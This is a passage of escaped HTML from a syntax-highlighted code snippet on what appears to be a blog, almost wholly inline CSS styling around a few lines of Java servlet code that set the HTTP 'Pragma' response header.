!important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(108, 226, 108) !important; border-left-style: solid !important; border-left-width: 3px !important; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 13px; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; overflow-x: hidden; overflow-y: hidden; padding-bottom: 3px; padding-left: 0.5em !important; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: auto !important;"&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: rgb(248, 248, 248) !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;table style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 2px; border-collapse: collapse !important; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 2px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 2px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 2px; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 5px; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tbody style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tr style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;td class="number" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(175, 175, 175) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 3px; padding-left: 10px; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: 3em !important;"&gt;&lt;code style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; display: block !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0.3em !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; width: 2.7em !important;"&gt;6&lt;/code&gt;&lt;/td&gt;&lt;td class="content" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(108, 226, 108) !important; border-left-style: solid !important; border-left-width: 3px !important; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 13px; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; overflow-x: hidden; overflow-y: hidden; padding-bottom: 3px; padding-left: 0.5em !important; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: auto !important;"&gt;&lt;code class="comments" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: url(http://www.karthikeyanc.com/blog/wp-content/themes/inove/img/icons.gif); background-position: 0px -96px; background-repeat: no-repeat; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 130, 0) !important; direction: ltr !important; display: block; float: right; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 11px; font-style: normal !important; font-weight: normal !important; height: 16px; left: auto !important; line-height: 16px; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 22px; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;//pragma can be set to other available options also.&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: rgb(255, 255, 255) !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;table style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 2px; border-collapse: collapse !important; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 2px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 2px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 2px; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 5px; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tbody style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tr style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;td class="number" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(175, 175, 175) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 3px; padding-left: 10px; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: 3em !important;"&gt;&lt;code style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; display: block !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0.3em !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; width: 2.7em !important;"&gt;7&lt;/code&gt;&lt;/td&gt;&lt;td class="content" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(108, 226, 108) !important; border-left-style: solid !important; border-left-width: 3px !important; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 13px; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; overflow-x: hidden; overflow-y: hidden; padding-bottom: 3px; padding-left: 0.5em !important; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: auto !important;"&gt;&lt;code class="plain" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;response.setHeader(&lt;/code&gt;&lt;code class="string" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: blue !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;"Pragma"&lt;/code&gt;&lt;code class="plain" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;,&amp;nbsp;&lt;/code&gt;&lt;code class="string" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: blue !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;"public"&lt;/code&gt;&lt;code class="plain" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: rgb(248, 248, 248) !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;table style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: white; background-image: initial; background-position: initial initial; background-repeat: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 2px; border-collapse: collapse !important; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 2px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 2px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 2px; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 5px; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tbody style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;tr style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: left !important; top: auto !important; vertical-align: baseline !important; width: auto !important;"&gt;&lt;td class="number" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(175, 175, 175) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 3px; padding-left: 10px; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: 3em !important;"&gt;&lt;code style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; direction: ltr !important; display: block !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0.3em !important; padding-top: 0px !important; position: static !important; right: auto !important; text-align: right !important; top: auto !important; vertical-align: baseline !important; width: 2.7em !important;"&gt;8&lt;/code&gt;&lt;/td&gt;&lt;td class="content" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-color: initial !important; border-left-color: rgb(108, 226, 108) !important; border-left-style: solid !important; border-left-width: 3px !important; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-style: initial !important; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 13px; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial !important; outline-width: 0px !important; overflow-x: hidden; overflow-y: hidden; padding-bottom: 3px; padding-left: 0.5em !important; padding-right: 10px; padding-top: 3px; position: static !important; right: auto !important; text-align: left; top: auto !important; vertical-align: top !important; width: auto !important;"&gt;&lt;code class="plain" style="-webkit-background-clip: initial !important; -webkit-background-origin: initial !important; background-attachment: initial !important; background-color: initial !important; background-image: none !important; background-position: initial initial !important; background-repeat: initial !important; border-bottom-width: 0px !important; border-color: initial !important; border-left-width: 0px !important; border-right-width: 0px !important; border-style: initial !important; border-top-width: 0px !important; bottom: auto !important; color: rgb(0, 0, 0) !important; direction: ltr !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; font-style: normal !important; font-weight: normal !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin-bottom: 0px !important; margin-left: 0px !important; margin-right: 0px !important; margin-top: 0px !important; min-height: inherit !important; outline-color: initial !important; outline-style: initial 